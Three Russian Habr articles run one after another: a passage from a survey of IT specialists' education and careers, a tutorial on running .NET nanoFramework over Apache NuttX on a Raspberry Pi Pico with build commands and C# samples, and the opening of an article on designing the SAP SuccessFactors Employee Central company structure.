*Жил и учился в Москве, сменил две школы: первая была близко к дому, а вторая хорошая. Больше всего любил математику, хотя даваться она мне начала только классе в девятом.*
Участвовал в олимпиадах? Какие успехи были?
*Вообще не олимпиадник, один раз пробился на городской тур по математике и в итоге его прогулял, чем вызвал расстройство своего преподавателя. Простите, Марина Викторовна.*
Какие были оценки?
*Закончил школу с тремя четвёрками, но по факту все гуманитарное прошло совершенно мимо меня.*
Куда дальше поступил(лицей, колледж)
*зам. автора: остался в школе*
**Старшая школа:**
Учился в профильном классе?
*Да, в математическом.*
Насколько сложно было учиться?
*Не слишком сложно, в миллион кружков не ходил, иногда прогуливал. В общем, через силу из меня гения не делали)*
Сдавал ЕГЭ? Если да, то какие предметы и какой суммарный балл?
*Сдавал математику и русский, тогда ЕГЭ только вводили. По математике было 75, что я до сих пор считаю ужасным провалом, а по русскому если бы было на балл меньше, то была бы тройка в школе итоговая. Так что проскочил, но вот сколько именно было — не помню.*
Куда решил поступать? Рассматривал зарубежные ВУЗы?
*Бауманка, считал ее лучшим техническим вузом страны. Зарубежные не рассматривал.*
**ВУЗ:**
Где учился/учишься?
*Закончил Бауманку.*
Расскажи немного о том, как принимал решение о выборе, на что обращал внимание?
*Справа пошел туда на подготовительные курсы, думал что там смогу куда захочу подготовиться, в итоге решил, что планку понижать нельзя и в саму Бауманку и пошел.*
Помогли ли тебе знания, полученные в школе/колледже при поступлении?
*Ещё как, математика школьная очень помогла. А вот физику я сдал только благодаря курсам, конечно.*
На каком ты факультете, какая у тебя специальность?
*Информатика и системы управления, защита информации.*
Тебе сложно было/сейчас учиться? Много ли нового ты узнал?
*Был раздолбаем, учился с хвостами. Считаю, что вынес 3-5% от того, что нам дали. При этом, думаю, что полезного было процентов десять. Ясно, что вынес только полезное, так что КПД неплохой :)*
Принимал ли участие в хакатонах?
*Нет.*
Может что-то расскажешь про студенческую жизнь?
*Очень сильно сформировался характер. Считаю, что больше всего мне дал круг общения и четыре работы, которые я сменил пока учился.*
Расскажи в целом об учебе в ВУЗе, понравилось ли, посоветовал бы поступать?
*Сейчас многие кто там учиться, говорят, что Бауманка сильна. Мой опыт был скорее негативный, но многое меняется в лучшую сторону. Так что советовать не буду, но и отговаривать тоже. Если смотреть по одногруппникам, то многие добились достойного положения в жизни. В общем, бойцовские качества важнее знаний.*
**Работа:**
Ты сейчас работаешь? Если не секрет, то где и как долго?
*3 года в текущей компании, начал как преподаватель, сейчас руковожу отделом, стремлюсь дальше.*
Помогли ли тебе полученные в вузе знания на практике, полученные на олимпиадах/хакатонах?
*Не помогли.*
При трудоустройстве что помогло, на что обращали внимание?
*Предыдущий опыт помог и огромное желание работать.*
**Другое:**
Как считаешь: важно ли знать структуры данных и алгоритмы их обработки?
*Первое важно. А хитроумные алгоритмы давно вызываются одной командой.*
Какой совет можешь дать абитуриентам?
*Хороший ВУЗ открывает много дверей, не только знания, но и круг общения и доступ к собеседованиям на ответственные должности. Однако, если есть воля, любую из этих вещей можно получить и иначе.*
Проходил ли дополнительные курсы, очные занятия?
*Да, при поступлении были курсы а потом и репетитор по физике. Во время обучения в ВУЗе ничего не проходил.*
**Алексей, разработчик интерфейсов****Средняя школа:**
Расскажи немного о себе, где жил, где учился(лицей, гимназия и тд), что больше всего нравилось?
*Гимназия 1563 в Измайлово.*
Участвовал в олимпиадах? Какие успехи были?
*Было, но особо не фанател — дальше города не проходил.*
Какие были оценки?
*Хорошист.*
Куда дальше поступил(лицей, колледж)?
*Лицей СУНЦ МГУ.*
**Старшая школа:**
Насколько сложно было учиться?
*Да.*
Сдавал ЕГЭ? Если да, то какие предметы и какой суммарный балл?
*На ЕГЭ откровенно забил, почти все было покрыто олимпиадами.*
**ВУЗ:**
Где учился/учишься?
*МГУ.*
Расскажи немного о том, как принимал решение о выборе, на что обращал внимание?
*Профильное образование, активности, в Москве (поэтому не физтех).*
Помогли ли тебе знания, полученные в школе/колледже при поступлении?
*Да.*
На каком ты факультете, какая у тебя специальность?
*ВМК.*
Тебе сложно было/сейчас учиться? Много ли нового ты узнал?
*Смело можно было уходить после 3его курса.*
Принимал ли участие в хакатонах?
*Нет.*
Посоветовал бы поступать?
*Средне, зависит от кафедры.*
**Работа:**
Ты сейчас работаешь? Если не секрет, то где и как долго?
*Яндекс, почти 2 года.*
Какова роль ВУЗа в становлении тебя специалистом?
*Дало обширную базу.*
Помогли ли полученные знания при трудоустройстве?
*Скорее нет, чем да.*
**Другое:**
Как считаешь, стоит ли принимать участие в олимпиадах по программированию и тренироваться в решении задачек?
*Совершенно не обязательно.*
Как считаешь: важно ли знать структуры данных и алгоритмы их обработки?
*Да.*
Проходил ли дополнительные курсы, очные занятия?
*Да.*
Как вы можете видеть судьбы у людей разные, но одно можно выделить точно: каждый, когда понял, что он хочет в этом развиваться, двигался и продолжает развиваться в этом направлении. Это очень важно – никогда не останавливаться. Ну, и напоследок хотел бы предоставить немного инфографики.
Графики построены на данных людей, которые учатся в ВУЗе и/или сейчас работают. (P.S. данные по всем опрошенным доступны здесь: <https://docs.google.com/spreadsheets/d/1utkv_GnvsU378ktW-Ztlcjdqb7zp8PCYShEBZOuLyjc/edit?usp=sharing>)
**Warning!**
**FAQ**Хотел бы сразу предупредить несколько моментов:
1. Данных немного. Скорее всего выборка покажется не слишком информативной, но я хотел дать понимание во-первых важности высшего образования, а во-вторых взаимосвязи ВУЗа, специальности и последующей работы.
2. Вы можете сами исследовать эти данные и построить все необходимые графики. Самые интересные, по-моему мнению, я поместил в статью.
3. Если вы найдёте какие-то ошибки или неточности, а может захотите дополнить статистику, то прошу не медлить и сообщать, будем насыщать вместе!
4. Была допущена колоссальная ошибка в опросе – отсутствие вопроса про уровень владения английским языком. Очень надеюсь, что сообщество Хабра поможет исправить это недоразумение пройдя опрос!
Пройти опрос и помочь статистике можно тут: <https://goo.gl/forms/W7DGa1htfFCZlzOD3>
UPD: Спасибо, что проходите опрос!
* Самый популярный вид учебного заведения обычная школа "СОШ №xxx"
Также, почти все участники учились на 4 и 5, а любимым предметом были: математика, физика/информатика.
* Подавляющее большинство участвовало в олимпиадах. Что, довольно ожидаемо.
* Примерно половина участников являются призёрами и победителями олимпиад, в том время как остальные сыскали меньше успеха.
* Баллы ЕГЭ.
* Участие в хакатонах.
* Конечно, большинство убеждены, что структуры данных и алгоритмы их обработки полезный навык.
* Связана ли работа с образованием/специальностью участника?
Также отмечу, что большинство учится на бюджете. Специальности разные, но варьируются между 01.03.xx 02.03.xx и 09.03.xx. 17% сказали, что учится сложно. Подавляющее большинство участников также уверены, что алгоритмы либо важнее, либо их скорее важно знать. Можно ещё отметить, что должность (специализация работы) **на данной выборке** зависит не прямо пропорционально специальности, т.е. студент с ПМИ работает как и специалистом по машинному обучению, так и разработчиком корпоративных систем, мобильных приложений, так и преподавателем.
Насчёт важности диплома я могу сказать следующее: чтобы первый раз устроиться на работу вы должны как-то выделиться, вас должен как-то заметить и HR и технический специалист, который вас собеседует, одним словом – работодатель. Вы не поверите (вероятно), но когда я искал должность младшего разработчика C# все в первую очередь обращали внимание на образование. Т.е. настрой собеседующего сильно зависел от названия услышанного учебного заведения. Лично я заметил это в таких компаниях как: Леруа, Copter Express, МТС, Яндекс (хотя казалось бы, да?), Ланит БиПиЭм, Delta Solutions. Другие маленькие компании так и вовсе не пригласят на личную встречу без подтверждения наличия у вас высшего образования или факта, что вы являетесь студентом 3-го курса. Мне приходилось даже где-то лукавить, чтобы позвали. В итоге я всё же получил заветную работу в одной из этих компаний будучи студентом колледжа. Одно я понял для себя точно: иметь хорошую базу и достойный Вуз за спиной будет только большим плюсом!
Если остались какие-то вопросы, уточнения, то прошу в комментарии, чтобы я смог оперативно ответить. | https://habr.com/ru/post/434908/ | null | ru | null |
# Запускаем .NET nanoFramework на Raspberry Pi Pico
Платформа .NET nanoFramework позволяет разрабатывать приложения на C# для различных микроконтроллеров. В предыдущей [публикации работали с ESP32 и STM32](https://habr.com/ru/company/timeweb/blog/584144/). Одна из замечательных особенностей .NET nanoFramework заключается в возможности запускать среду исполнения поверх интерфейса POSIX в Win32 для Unit-тестирования. Это означает быструю возможность переноса среды nanoFramework Runtime на любую операционную систему поддерживаемую POSIX стандартом. Именно таким образом, в качестве эксперимента, .NET nanoFramework был перенесен на микроконтроллер Raspberry Pi Pico, для запуска поверх операционной системы реального времени (RTOS) Apache NuttX. Как это было реализовано прошу под кат.
Что такое .NET nanoFramework можно почитать пост [платформа для разработки приложений на C# для микроконтроллеров](https://habr.com/ru/post/549012/). Для начала рассмотрим, что из себя представляет Raspberry Pi Pico.
Плата Raspberry Pi Pico
=======================
Raspberry Pi Pico — это недорогая платформа для разработки на микроконтроллере [RP2040](https://www.raspberrypi.com/products/rp2040/). Два ядра ARM Cortex-M0+ с тактовой частотой 133 МГц обеспечат необходимую производительность для ваших устройств, роботов и других изобретений, где важен баланс производительности с низким энергопотреблением.
[](https://habrastorage.org/webt/tt/ps/nx/ttpsnx_nisdbiya-zb4fcsxjrda.jpeg)
*Плата Raspberry Pi Pico*
Микроконтроллер Pico входит в аналогичный сегмент микроконтроллеров, что и [ESP32](https://devdotnet.org/post/iot-platforma-esp32-devkit-v1-na-baze-mcu-esp-wroom-32/), но обладает своими уникальными «фишками». Уникальная возможность Pico — подсистема программируемого ввода/вывода (Programmable I/O), с помощью которой можно реализовать произвольный аппаратный интерфейс: например, шину SD-карты или вывод VGA. Для подключения модулей предусмотрены аппаратные интерфейсы UART, SPI и I2C.
На плате присутствует чип Flash памяти на 2 Mб, кнопка BOOTSEL для перевода микроконтроллера в режим загрузчика, светодиод на 25 контакте и стабилизатор напряжения, позволяющий питать PiPico от источника питания с напряжением от 1.8 до 5.5 В. Плата PiPico питается через разъём micro-USB или контакт VSYS.
Для PiPico создаются приложения на языках Си, C++ или MicroPython.
Что такое Apache NuttX?
=======================
[NuttX](https://github.com/apache/incubator-nuttx) — это операционная система реального времени ([RTOS](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%80%D0%B5%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8)), специально разработанная для использования во встраиваемых системах с микроконтроллерами или процессорами разрядностью от 8 до 32 бит. Благодаря гибкой возможности настройки NuttX, разработчик может включать в образ только те модули, которые действительно необходимы для проекта. Одним из главных принципов NuttX является соответствие стандартам POSIX и ANSI. Благодаря этому, определяется общий интерфейс для различных операционных систем, что способствует переносимости, повторному использованию кода и поддержки приложений, использующих POSIX и ANSI. Дополнительные стандартные API из Unix и других RTOS (такая как VxWorks) адаптированы для функциональности, недоступны в соответствие со стандартами, и низкоуровневым окружением для встраиваемых систем (как fork()).
Список [поддерживаемых платформ](https://cwiki.apache.org/confluence/display/NUTTX/About#platforms) достаточно большой, в него входят процессоры ARM Cortex, Atmel AVR, Intel, RISC-V, STM32, и т.д. Среди поддерживаемых МК присутствует серия ESP32 от Espressif. Сама компания Espressif активно инвестирует в проект NuttX.
NuttX распространяется под свободной лицензией Apache 2.0 License.
Сборка базового образа NuttX для Raspberry Pi Pico
==================================================
Образ NuttX для [RP2040](https://www.raspberrypi.com/products/rp2040/) поддерживает интерфейсы UART, I2C, SPI, PIO (RP2040 Programmable I/O), и т.д. В зависимости от подключаемых модулей будут доступны LCD экраны: ssd1306 (I2C), lcd1602 (I2C), st7735 (SPI). Поддерживается сеть Ethernet (модуль ENC28J60 на SPI).
Более детально про поддержку МК RP2040 можно почитать по ссылке [incubator-nuttx/raspberrypi-pico](https://github.com/apache/incubator-nuttx/blob/master/boards/arm/rp2040/raspberrypi-pico/README.txt).
Соберем минимальный образ для RP2040 с NuttShell в Ubuntu 20.04, задаваемый параметр для сборки — **usbnsh**. NuttShell это аналог консоли в Linux. Параметр **usbnsh** задействует порт USB CDC/ACM для работы с [NuttShell](https://nuttx.apache.org/docs/latest/applications/nsh/index.html).
Скрипт сборки:
```
$ sudo apt-get update
$ sudo apt-get install -y git
$ sudo apt-get install -y \
bison flex gettext texinfo libncurses5-dev libncursesw5-dev \
gperf automake libtool pkg-config build-essential gperf genromfs \
libgmp-dev libmpc-dev libmpfr-dev libisl-dev binutils-dev libelf-dev \
libexpat-dev gcc-multilib g++-multilib picocom u-boot-tools util-linux
$ sudo apt-get install -y kconfig-frontends
$ sudo apt-get install -y gcc-arm-none-eabi binutils-arm-none-eabi
$ sudo reboot now
$ mkdir -p /usr/share/pico
$ cd /usr/share/pico
$ git clone https://github.com/raspberrypi/pico-sdk
$ cd /usr/share/pico/pico-sdk
$ git reset --hard 26653ea81e340
$ export PICO_SDK_PATH=/usr/share/pico/pico-sdk
$ mkdir -p /usr/share/pico/nuttxspace
$ cd /usr/share/pico/nuttxspace
$ git clone https://github.com/apache/incubator-nuttx.git nuttx
$ git clone https://github.com/apache/incubator-nuttx-apps apps
$ cd /usr/share/pico/nuttxspace/nuttx
$ ./tools/configure.sh -l raspberrypi-pico:usbnsh
$ make -j
```
Более подробно процесс установки [Getting Started » Installing](https://nuttx.apache.org/docs/latest/quickstart/install.html).
После компиляции по пути */usr/share/pico/nuttxspace/nuttx* появится файл **nuttx.uf2.**
Для загрузки прошивки в PiPico, необходимо на плате нажать кнопку **BOOTSEL** и подключить плату по USB порту.
**Прошивка PiPico**
[](https://habrastorage.org/webt/4u/6i/ar/4u6iarp-974pwzios6u6nqbyiau.gif)
В операционной системе появится USB-диск:
[](https://habrastorage.org/webt/8m/am/ea/8mameat3kq8xlix_uriyh7gzigi.jpeg)
*USB-диск в Windows 7 для загрузки прошивки Raspberry Pi Pico*
Копируем в корень диска **F:\** файл **nuttx.uf2**. После копирования файла, плата автоматически прошьет свою Flash-память и перегрузится.
Затем в списке устройств отобразится COM-устройство, в данном случае **COM8**. Обратите внимание, для Windows 7 штатный драйвер CDC/ACM отсутствует. Драйвер доступен только для Windows 10+ и Linux. В Linux консоли PiPico появится как устройство ttyACMx, например */dev/ttyACM0*.
Открываем порт на скорости **115200** бод. Для доступа к PiPico совершаем быстрое двойное нажатие на Enter, и вводим несколько команд.
[](https://habrastorage.org/webt/fe/cz/jr/feczjrnvtb3vxgiv_8jc0vsjexu.png)
*NuttShell консоль ОС NuttX на Raspberry Pi Pico*
NuttX успешно запущен и работает на Raspberry Pi Pico!
Запуск .NET nanoFramework -> NuttX
==================================
.NET nanoFramework может работать с невероятными минимальными требованиями, для запуска необходимо всего 256 КБ флэш-памяти и 64 КБ ОЗУ. PiPico удовлетворяет этим требованиям более чем необходимо, сам чип RP2040 содержит 264 КБ ОЗУ, на самой плате разведена Flash-память на 2 МБ.
Для Unit-тестирования приложений для .NET nanoFramework разработчики обеспечили запуск nanoCLR в контексте Win32 благодаря соответствию POSIX стандарту.
[](https://habrastorage.org/webt/ow/z-/aq/owz-aqpwgscybsi2qnoeyxkablm.png)
*Запуск .NET nanoFramework Win32 для тестирования*
[Matheus Castello](https://microhobby.com.br/blog/2021/06/24/running-dotnet-on-raspberry-pi-pico/) пришла в голову замечательная идея, раз nanoCLR работает поверх RTOS. А разработчики NuttX объявили о поддержке Raspberry Pi Pico, то почему бы не запустить nanoFramework на NuttX одной из RTOS, вместо трудоемкого нативного портирования nanoCLR. По факту, так таковой перенос, как переписывание уровня HAL под определенную аппаратную платформу не требуется, необходимо только обеспечить соответствие вызываемым функциям в рамках POSIX стандарта.
Порт nanoFramework для win32 запускается как консольное приложение. На самом деле запуск nanoCLR на Raspberry Pi Pico был второстепенной задачей, основная задача заключалась в запуске nanoCLR в окружение Linux. В процессе миграции Matheus Castello переписал части, написанные для win32, в переносимые стандартные вызовы C/C++ и вызовы POSIX. Так же были добавлены директивы препроцессора *#if defined(\_\_linux\_\_)*, чтобы охватить некоторые конкретные вариации для приложения Linux. В некоторых блоках кода можно найти что-то вроде *#if defined(\_WIN32) || defined(\_\_linux\_\_)*:
```
// provide platform dependent delay to CLR code
#if defined(_WIN32) || defined(__linux__) || defined(__nuttx__)
#define OS_DELAY(milliSecs) ;
#else
#define OS_DELAY(milliSecs) PLATFORM_DELAY(milliSecs)
#endif
```
Ядро nanoCLR достаточно переносимо, но в некоторых случаях приходится выполнять тот или иной платформозависимый вызов. В этом случае вызов в nanoCLR будет реализован в коде, зависящем от платформы. Поскольку использовался проект win32 в качестве основы, то использовались те же define вызовы.
Порт для POSIX доступен по ссылке [dotnuttx/nf-Community-Targets/tree/linux/posix](https://github.com/dotnuttx/nf-Community-Targets/tree/linux/posix).
После запуска nanoCLR в Linux, для связывания бинарника NuttX с приложением в образ сборки были добавлены файлы Kconfig, Make.defs и Makefile (Commit: [a5e837c](https://github.com/dotnuttx/incubator-nuttx-apps/commit/a5e837c3fd8763b51bd59250c5abb85dba99d431)).
В файл Makefile были добавлены относительные пути к исходному коду локального форка nf-interpreter и необходимые флаги/директивы препроцессора для компилятора. В конфигурацию NuttX для компиляции ядра были добавлены следующие настройки для обеспечения поддержки C++:
```
# C++
CONFIG_HAVE_CXX=y
CONFIG_LIBCXX=y
```
Интересная проблема, которая возникла, заключалась в использование различных заголовочных файлов, которые должны работать и вести себя одинаково как Linux, так и в NuttX. Но в NuttX некоторые include, не «подготовлены» для использования в C++. Пример использования *utsname.h* для получения информации о системе:
```
#if defined(__linux__) || defined(__nuttx__)
#include
#endif
```
Если мы проверим header в Linux, то увидим, что в самом начале файла будет следующий фрагмент:
```
#ifndef _SYS_UTSNAME_H
#define _SYS_UTSNAME_H 1
#include
__BEGIN_DECLS
```
Где *\_\_BEGIN\_DECLS* развертывается в:
```
/* C++ needs to know that types and declarations are C, not C++. */
#ifdef __cplusplus
# define __BEGIN_DECLS extern "C" {
# define __END_DECLS }
#else
# define __BEGIN_DECLS
# define __END_DECLS
#endif
```
В NuttX *utsname.h* нет блока *\_\_cplusplus* на случай использования C++, что приводит к неопределенным ошибкам ссылок во время сборки. Для решения этой проблемы был добавлен код:
```
#if defined(__linux__)
#include
#endif
#if defined(\_\_nuttx\_\_)
extern "C" {
#include
}
#endif
```
Теперь можно запустить .NET nanoFramework на Raspberry Pi Pico, благодаря поддержке платы в проекте NuttX.
Подготовка приложения
=====================
В NuttX не предоставляются GPIO во время исполнения программы, а предварительно конфигурируются во время сборки (над этим еще ведется работа, чтобы изменить). На данный момент для использования доступны только следующие контакты GPIO:
GP25 = GpioPinDriveMode\_Output;
GP2 = GpioPinDriveMode\_Output;
GP3 = GpioPinDriveMode\_Output;
GP4 = GpioPinDriveMode\_Output;
GP5 = GpioPinDriveMode\_Output;
GP6 = GpioPinDriveMode\_Input;
GP7 = GpioPinDriveMode\_Input;
GP8 = GpioPinDriveMode\_Input;
GP9 = GpioPinDriveMode\_Input;
Демонстрационное приложение будет мигать светодиодом (GP25 — onboard LED) и выводить в консоль отладки служебную информацию при нажатии на кнопку GP6 (pin 9).
[](https://habrastorage.org/webt/gh/n0/ln/ghn0ln0v2u4nn3hrx0qlwfr5spy.png)
*Схема подключения кнопки к Raspberry Pi Pico*
В качестве примера возьмем проект [nanoFrameworkPOSIX-samples/PiPico](https://github.com/dotnuttx/nanoFrameworkPOSIX-samples/tree/main/PiPico). Файл Program.cs:
```
using System.Diagnostics;
using System.Threading;
using System.Device.Gpio;
using nanoFramework.Runtime.Native;
GpioController gpioController = new GpioController();
// GP25 (onboard LED)
GpioPin onBoardLED = gpioController.OpenPin(25, PinMode.Output);
// GP6 (pin 9)
GpioPin button = gpioController.OpenPin(6, PinMode.Input);
while (true)
{
// blink
onBoardLED.Toggle();
// check if button is pressed
if (button.Read() == PinValue.High)
{
Debug.WriteLine($"Running nanoFramework on {SystemInfo.TargetName}");
Debug.WriteLine($"Platform: {SystemInfo.Platform}");
Debug.WriteLine($"Firmware info: {SystemInfo.OEMString}");
}
Thread.Sleep(500);
}
```
Выполним сборку в VS2019, меню **Build > Build PiPico**. В папке *\PiPico\bin\Debug* потребуются только файлы с расширением **.pe**, а именно:
* mscorlib.pe
* nanoFramework.Runtime.Events.pe
* nanoFramework.Runtime.Native.pe
* PiPico.pe
* System.Device.Gpio.pe
Создание прошивки NuttX вместе с приложением
============================================
Приложение для Raspberry Pi Pico можно загрузить двумя путями. Первый, создать файл прошивки **.uf2** содержащий NuttX, среду nanoCLR, исполняемое приложение .NET, и остальные модули. Второй, RP2040 может загружать программу с SD-карты памяти посредством интерфейса SPI.
Создадим единый бинарник прошивки, по первому варианту. Для создания прошивки воспользуемся docker-контейнером.
Загрузим образ [dotnuttx/generate-pico-uf2](https://hub.docker.com/r/dotnuttx/generate-pico-uf2), создадим volume *nf-debug* и скопируем в него файлы **.pe**полученные при сборке проекта.
```
$ docker pull dotnuttx/generate-pico-uf2:latest
$ docker volume create --name nf-debug
```
В каталоге */var/lib/docker/volumes/nf-debug/\_data* должны быть следующие файлы:
```
root@ubuntuvm:~# ls -l /var/lib/docker/volumes/nf-debug/_data
total 52
-rw-r--r-- 1 root root 31668 Jun 19 2021 mscorlib.pe
-rw-r--r-- 1 root root 3412 Jun 19 2021 nanoFramework.Runtime.Events.pe
-rw-r--r-- 1 root root 1496 Jun 19 2021 nanoFramework.Runtime.Native.pe
-rw-r--r-- 1 root root 772 May 23 2022 PiPico.pe
-rw-r--r-- 1 root root 5684 Jun 19 2021 System.Device.Gpio.pe
```
Теперь создадим контейнер и запустим компиляцию прошивки:
```
$ docker run --rm -it -v nf-debug:/nf dotnuttx/generate-pico-uf2
```
По результату в папке */var/lib/docker/volumes/nf-debug/\_data* появится файл прошивки **dotnetnf.uf2**.
Для загрузки прошивки в PiPico, необходимо нажать кнопку **BOOTSEL** и подключить плату по USB порту, как делали выше при прошивки RTOS NuttX. Копируем в корень USB-диска файл **dotnetnf.uf2**. После копирования файла плата автоматически прошьет собственную Flash-память и перегрузится.
[](https://habrastorage.org/webt/tc/uh/ja/tcuhja1gpwan3vbee_gaza8idfi.gif)
*Работа приложения nanoFramework в NuttX*
Увидим мигание светодиода, .NET nanoFramework успешно работает на Raspberry Pi Pico!
Запуск приложения используя SD-карту памяти
===========================================
Второй вариант немного сложнее, но более универсальный. В первом варианте, при любом изменении программного кода необходимо заново компилировать целиком NuttX вместе с приложением, что несколько неудобно. Вариант с SD-картой подразумевает однократную загрузку в PiPico исполнительной среды nanoFramework Runtime, с последующим запуском приложения с SD-карты. На SD-карту копируются файлы с расширением **\*.pe**. Соответственно изменение приложения не затрагивает перепрошивку платы. Дополнительно для реализации данного варианта потребуется модуль чтения SD-карт на SPI интерфейсе.
Для начала загрузим nanoFramework Runtime в Raspberry Pi Pico, для того скачаем файл **dotnet-nf.rp2040-Nuttx.2646** со странице [POSIX nanoFramework](https://github.com/dotnuttx/nf-Community-Targets/releases), и скопируем его на плату в режиме прошивки (подключение при нажатой кнопки **BOOTSEL**).
Теперь подключим модуль SD-карт памяти как указано на схеме:
[](https://habrastorage.org/webt/wo/gk/ob/wogkobwnzlindcmrp-dludwqxyq.png)
*Схема подключения модуля SD-карт к Raspberry Pi Pico*
[](https://habrastorage.org/webt/n2/vo/it/n2voitd4oekuxe7xmedorynpe2y.jpeg)
*Raspberry Pi Pico на макетной плате*
Таблица подключения:
```
SD card slot Raspberry Pi Pico
DAT2 (NC)
DAT3/CS ----- GP17 (SPI0 CSn) (Pin 22)
CMD /DI ----- GP19 (SPI0 TX - MOSI) (Pin 25)
VDD ----- 3V3 OUT (Pin 36)
CLK/SCK ----- GP18 (SPI0 SCK) (Pin 24)
VSS ----- GND (Pin 3 or 38 or ...)
DAT0/DO ----- GP16 (SPI0 RX - MISO) (Pin 21)
DAT1 (NC)
```
Заменим содержимое Program.cs из примера выше, на следующий код:
```
using System.Threading;
using System.Device.Gpio;
GpioController gpioController = new GpioController();
// GP25 (onboard LED)
GpioPin onBoardLED = gpioController.OpenPin(25, PinMode.Output);
// GP6 (pin 9)
GpioPin button = gpioController.OpenPin(6, PinMode.Input);
while (true)
{
// check if button is pressed
if (button.Read() == PinValue.Low)
{
onBoardLED.Write(PinValue.High);
}
else
{
onBoardLED.Write(PinValue.Low);
}
Thread.Sleep(200);
}
```
Несмотря на работу консоли NuttShell через COM-порт, вывод сообщений, используя метод *Debug.WriteLine()* не заработал, поэтому поведение программы было изменено. При нажатие на кнопку GP6 (pin 9) загорается светодиод GP25 (onboard LED) на плате, при отпускание выключается.
Далее, SD-карту памяти (желательно брать минимального размера, карта объемом 8 Гб подошла) необходимо отформатировать в FAT32 и скопировать в корень карты, сборки, файлы **\*.pe** (mscorlib.pe, nanoFramework.Runtime.Events.pe, nanoFramework.Runtime.Native.pe, PiPico.pe, System.Device.Gpio.pe).
Вставляем SD-карту памяти со сборками в адаптер и подключаем PiPico по USB интерфейсу. Запускаем терминал, открываем порт COM8, и нажимаем на кнопку.
[](https://habrastorage.org/webt/ak/jy/iq/akjyiqwbztpn64ghm1pulhlyama.gif)
*Работа приложения nanoFramework в NuttX*
Если вам интересно более детально узнать какие изменения были внесены для возможности запуска nanoFramework в NuttX и как это работает, пишите в комментариях. Благодарю за внимание.
Ресурсы
=======
* [Running .NET on Raspberry Pi Pico — Matheus Castello](https://microhobby.com.br/blog/2021/06/24/running-dotnet-on-raspberry-pi-pico/)
* [Porting .NET nanoFramework for Linux and NuttX — Matheus Castello](https://microhobby.com.br/blog/2021/06/24/porting-net-nanoframework-for-linux-and-nuttx/)
* [Apache NuttX — GitHub](https://github.com/apache/incubator-nuttx)
* [NuttX Documentation — WiKi](https://cwiki.apache.org/confluence/display/NUTTX/Documentation)
* [incubator-nuttx raspberrypi-pico — GitHub](https://github.com/apache/incubator-nuttx/tree/master/boards/arm/rp2040/raspberrypi-pico)
* [dotnuttx/nanoFrameworkPOSIX-samples — GitHub](https://github.com/dotnuttx/nanoFrameworkPOSIX-samples/tree/main/PiPico)
* [POSIX nanoFramework v2.7.0.3 — GitHub](https://github.com/dotnuttx/nf-Community-Targets/releases)
[](https://cloud.timeweb.com/vds-promo-10-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-10-rub) | https://habr.com/ru/post/667648/ | null | ru | null |
# Зеркалирование оргструктуры SAP HCM в оргструктуру Employee Central
Введение
--------
Организационные структуры являются сердцем системы SAP SuccessFactors и требуют обстоятельного дизайна, чтобы снабжать все модули SuccessFactors и интегрированные системы достоверными основными данными. И самой базовой частью организационных структур является Структура компании.
В этой статье мы продемонстрируем подход к дизайну Структуры компании в Employee Central, который позволяет сохранить организационные структуры SAP HCM от излишних изменений.
Статья адресована опытным консультантам по SuccessFactors Employee Central, SAP HCM и Core Hybrid.
Но прежде чем мы перейдем к статье, я хочу поблагодарить своего товарища Артура Авзалова за его поддержку и идеи по дизайну организационных структур. Каждый пункт дизайна, представленного в этой статье, мы разработали вместе.
Структура компании
------------------
Структура компании в SAP HCM выстраивается при помощи Организационных единиц, которые, в свою очередь, хранят все прочие атрибуты данной структуры, включая Юридические лица (они же Балансовые единицы), Разделы персонала, Подразделы персонала, Места возникновения затрат и др.
В модуле Employee Central существует много подходов по выстраиванию Структуру компании, что детально описано в следующем документе с Принципами проекта по внедрению [Employee Central Core Hybrid: Organization Structure Design Consideration](https://d.dam.sap.com/a/Hf6JH6M/IDP%20Employee%20Central%20Core%20Hybrid%20-%20Organization%20Structure%20Design%20Consideration%20V1.2.pdf). Из всех подходов, описанных в данном документе, мы покажем наименее болезненный, а также дадим несколько ценных рекомендаций, которые делают данный подход универсальным.
### Первый уровень Структуры компании
Для первого уровня структуры компании должен быть выделен отдельный MDF-объект, предназначенный только для этой роли и не используемый в качестве основы для других уровней данной структуры. Начиная с этого объекта, все нижестоящие уровни выбираются на Позициях и отображаются в Обзоре структуры компании. Объект первого уровня также используется в качестве отправной точки для различных бизнес-правил, которые наследуют данные на Позиции и нижестоящие уровни структуры.
Коды объекта первого уровня должны быть связаны с корневыми Организационными единицами в SAP HCM, т.е. мигрированы из SAP HCM и реплицированы обратно в SAP HCM. Например, если в SAP HCM только одна корневая Организационная единица, то в Employee Central должен быть только один код объекта первого уровня; и если в SAP HCM несколько корневых Организационных единиц, то в Employee Central должны быть точно такие же коды объекта первого уровня.
В зависимости от дизайна SAP HCM и SuccessFactors «Управление талантами», внедренных у клиента, первым уровнем Структуры компании будет либо Подразделение, либо Структурная единица, либо нестандартный объект:
* Подразделения часто используются в SuccessFactors «Управление талантами» как список Юридических лиц. Также Юридическое лицо (т.е. Балансовая единица) часто является основным атрибутом корневых Организационных единиц в SAP HCM.
* Структурные единицы используются в качестве объекта первого уровня в том случае, если клиент ведет одинаковые типы бизнеса через разные юридические лица или в разных странах.
* Нестандартный MDF-объект используется в качестве объекта первого уровня в целях группировки, например, для групп компаний или качестве единственного корневого объекта.
Несмотря на рекомендации вышеупомянутого документа с Принципами проекта по внедрению, мы советуем не использовать ни Юридическое лицо, ни Отдел в качестве объекта первого уровня по следующим причинам:
1. В систему SuccessFactors Юридические лица переносятся из SAP HCM,[[1]](https://habr.com/en/post/657141/#n) где они являются атрибутом Организационных единиц, а следовательно, также должны быть атрибутом соответствующего MDF-объекта в Employee Central.
2. Отделы используются в качестве нижестоящих уровней Структуры компании, поэтому их неудобно использовать в роли корневого объекта.
### Второй и более нижние уровни Структуры компании
Второй и более нижние уровни Структуры компании должны быть основаны на Отделе, как описано в документе с Принципами проекта по внедрению (см. § 6.3 Option 1, стр. 10). Прочие MDF-объекты, в т.ч. Юридическое лицо, Матричные позиции, Область шкалы оплаты, Тип шкалы оплаты, Страна, Расположение, Раздел персонала, Структурная единица и Подразделение,[[2]](https://habr.com/en/post/657141/#n) должны быть атрибутами Отделов.
